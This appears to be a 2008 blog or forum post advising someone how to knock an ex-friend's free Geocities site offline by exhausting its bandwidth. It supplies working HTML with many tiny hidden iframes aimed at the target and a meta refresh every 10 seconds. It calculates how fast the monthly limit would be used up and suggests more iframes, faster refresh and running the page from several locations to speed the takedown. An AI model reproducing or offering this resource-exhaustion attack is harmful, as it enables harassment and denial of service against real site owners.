Sunday, July 20, 2008

Hacking Geocities website

Im not familiar/w geocities so I took a look, and Im guessing your ex friend isnt paying, thus using the free package. The easiest way to tell this I can see from my whopping 2 minutes of looking is that if theres an ad on the site (banner, popup, whatever they use) then its the free one.

That being the case, I checked out the package details and see:
3 GB/month Data transfer (bandwidth)

and in case you dont know:

Quote:

Data transfer (bandwidth)
Whenever a visitor comes to your site, data is sent from our web servers to your visitor's computer. This data can be composed of web pages, images, movies, sound files, programs, compressed files, or anything else on your site that can be viewed or downloaded by visitors. When all this requested data is added up, then you have your total data transfer. The more visitors you have, the higher a data transfer limit you'll need.

so if I wanted a free geocities site to drop off the face of the planet, Id simply suck up all the available bandwidth, which is only 3 gig per mo.

How?
A few ways are effective. I have a feeling you're not in the programming field so my suggestions are based on simplicity.

1. One way would be to download any files or pictures on the site over and over again until it reached the limit and the site was no longer available. You could make a program that does this, or even do it manually...

2. An easier way to do this involves some html, but its easier overall and accomplishes the same thing. I turn your attention to the above quote:

Quote:

The more visitors you have, the higher a data transfer limit you'll need.

What you would do is to make a webpage that hit his site hundreds or thousands of times, as if it were visitors. This way even the smallest files (say an html page at 22k) can add up quick.

If you dont know any simple html, heres a heads up:

html>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
/html>


what that does is open up 10 little windows that point to that site. You can do more than 10, but I used that number for easy math. I wouldnt do too many as you can crash your browser or lag out your connection depending on what it is.... anyway...

so once you've got that working add this to the top of the code under :
head>
meta http-equiv="refresh" content="10">
/head>


so what that does is refreshes the page every 10 seconds. You may want to change the settings on your browser to have a small cache so it forces the page to reload each time rather than depend on tmp files from your PC.

anyways, what you come up with is this:

html>
head>
meta http-equiv="refresh" content="10">
/head>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://geocities.com/whatever width=5 height=5>
iframe src=http://gecities.com/whatever width=5 height=5>
/html>


so you are hitting the page 10 times every 10 seconds. Depending on the content of the page (pics, etc) this will eventually kill that 3 gig of bandwidth... do the math.

lets say the site only has text and the page is small in size, say 5k.

well all know:
1024k = 1M
1024M = 1G

so about 205 hits will = 1M
which you should get to in about 3 and a half minutes. Thus in about 60 hours thats a gig, and following that, the site should reach its bandwidth limit in 180 hours... which is about a week (7.5 days)

O, dont panic yet. I know thats too long for you to wait, even though that = 75% downtime. Patience.

If you use 20 iframes, that number cuts down to 3.75 days, and using 40 iframes its 1.8 days. Or maybe you can do a refresh every 5 instead of 10 seconds... play with it and see what the best you can do it. Personally, I could probably hit the 3 gig mark in about 2 hours easily.

Now just think outside the box.
Maybe your connection or browser doesnt want to handle 40 iframes or something. No problem... just take your handy dandy html file with you to school or the library or friends house and run it from there as well. As long as your home PC still has the page up and running (lets use the 10 iframes for this example) whenever you run it from another location, thats the equivelant of doubling it.

Heck, you could set a PC to active desktop and put the file into the desktop background if you wanted...